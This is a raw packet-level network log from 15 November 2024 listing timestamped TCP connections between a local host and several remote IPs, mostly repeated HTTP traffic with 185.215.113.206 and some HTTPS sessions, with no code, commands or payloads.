Nov 15, 2024 09:55:42.302659035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302673101 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302679062 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302685976 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302696943 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302699089 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302711964 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302722931 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302722931 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302736998 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302747011 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302748919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302761078 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302772045 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302772999 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302787066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302797079 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302799940 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302812099 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302813053 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302826881 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302839041 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302839041 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302853107 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302865028 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302865028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302881002 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302886009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302895069 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302902937 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302908897 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302922010 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.302936077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.302962065 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303275108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303287029 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303298950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303311110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303322077 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303339958 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303342104 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303353071 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303364992 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303364992 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303379059 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303389072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303391933 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303404093 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303415060 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303416967 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303435087 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303438902 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303450108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303452015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303466082 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303478003 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303481102 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303491116 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303503990 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303512096 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303519964 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303524971 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303535938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303545952 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303549051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303561926 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303564072 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303575993 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303579092 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303591013 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303595066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303603888 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303607941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303620100 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303620100 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303633928 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303633928 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303648949 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303653002 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303661108 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303670883 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303674936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303683043 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303694963 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303704977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303706884 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303720951 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303735018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303738117 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303745985 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303755045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303766966 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303776979 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303787947 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303798914 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303802013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303814888 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303823948 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303828001 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.303852081 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.303865910 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.304053068 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.304122925 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.304708004 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.317012072 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.317045927 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.317893982 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.317902088 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.383306980 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.388207912 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.423124075 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.431507111 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.433218956 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.433242083 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.434118032 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.434123039 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.436259985 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.436292887 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.436820984 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.436826944 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.437077045 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437124968 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.437194109 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437326908 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437378883 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.437424898 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437513113 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437544107 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.437638998 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437671900 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.437715054 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.437865973 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438071012 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438080072 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.438128948 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438222885 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438231945 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.438335896 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438560009 CET	49946	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438575983 CET	443	49946	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.438730001 CET	49947	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438745975 CET	443	49947	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.438874006 CET	49948	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438889027 CET	443	49948	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.438966036 CET	49949	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.438985109 CET	443	49949	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.439059019 CET	49950	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.439069986 CET	443	49950	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.439260006 CET	49951	443	192.168.2.7	23.47.50.150
Nov 15, 2024 09:55:42.439271927 CET	443	49951	23.47.50.150	192.168.2.7
Nov 15, 2024 09:55:42.444130898 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.444159985 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.444209099 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.444211960 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.444257021 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.459048033 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.459106922 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.459129095 CET	49934	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.459137917 CET	443	49934	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.463478088 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.463567972 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.463653088 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.463998079 CET	49952	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.464026928 CET	443	49952	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562493086 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562510967 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562588930 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562633991 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562652111 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.562686920 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.562725067 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.562725067 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.563080072 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.563102007 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.563117027 CET	49936	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.563122988 CET	443	49936	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.563263893 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.563287973 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.563344002 CET	49935	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.563354969 CET	443	49935	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.568283081 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.568329096 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.568388939 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.569010019 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.569042921 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.569189072 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.569566011 CET	49953	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.569586992 CET	443	49953	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.569653988 CET	49954	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.569669962 CET	443	49954	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.592530012 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.593178988 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.593230963 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.594696045 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.594764948 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.595990896 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.596065998 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.596415997 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.596434116 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.660932064 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:42.661309004 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:42.661328077 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:42.661698103 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:42.662843943 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:42.662945986 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:42.663073063 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:42.663073063 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:42.663093090 CET	443	49939	4.152.199.46	192.168.2.7
Nov 15, 2024 09:55:42.667778015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667866945 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.667891026 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667903900 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667917013 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667928934 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667939901 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667948008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.667953014 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.667984009 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.667998075 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668004990 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668010950 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668047905 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668061018 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668152094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668164968 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668179035 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668193102 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668205023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668207884 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668216944 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668222904 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668234110 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668236017 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668247938 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668256998 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668261051 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668275118 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668276072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668296099 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668299913 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668308973 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668322086 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668323994 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668334007 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668346882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668346882 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668359995 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668373108 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668386936 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668410063 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668452024 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668459892 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668466091 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668473959 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668479919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668487072 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668488979 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668493986 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668494940 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668498993 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668505907 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668513060 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668523073 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668534994 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668545008 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668546915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668560982 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668561935 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668577909 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668586969 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668592930 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668613911 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668627977 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668904066 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668916941 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668935061 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668946028 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668953896 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668960094 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668972015 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668982029 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.668984890 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.668999910 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.669008970 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.669013023 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.669034004 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.669050932 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.723695040 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.723850965 CET	49939	443	192.168.2.7	4.152.199.46
Nov 15, 2024 09:55:42.731832027 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.732215881 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:42.732243061 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.733442068 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.733510971 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:42.734766006 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:42.734823942 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.735069990 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:42.735076904 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.735117912 CET	49937	443	192.168.2.7	52.182.143.211
Nov 15, 2024 09:55:42.735284090 CET	443	49937	52.182.143.211	192.168.2.7
Nov 15, 2024 09:55:42.766107082 CET	443	49944	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.766443014 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.766727924 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.768543959 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.769668102 CET	49944	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.769711018 CET	443	49944	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.770437956 CET	49940	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.770467043 CET	443	49940	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.770868063 CET	49944	443	192.168.2.7	13.107.246.45
Nov 15, 2024 09:55:42.770881891 CET	443	49944	13.107.246.45	192.168.2.7
Nov 15, 2024 09:55:42.773600101 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.773693085 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.773792982 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.774023056 CET	49955	443	192.168.2.7	18.238.171.119
Nov 15, 2024 09:55:42.774060965 CET	443	49955	18.238.171.119	192.168.2.7
Nov 15, 2024 09:55:42.782407045 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782433987 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782445908 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782491922 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782509089 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782531977 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782532930 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782543898 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782557011 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782568932 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782577991 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782578945 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782594919 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782598019 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782619953 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782635927 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782636881 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782650948 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782661915 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782672882 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782685995 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782700062 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782710075 CET	80	49872	185.215.113.206	192.168.2.7
Nov 15, 2024 09:55:42.782716036 CET	49872	80	192.168.2.7	185.215.113.206
Nov 15, 2024 09:55:42.782732964 CET	49872	80	192.168.2.7	185.215.113.206
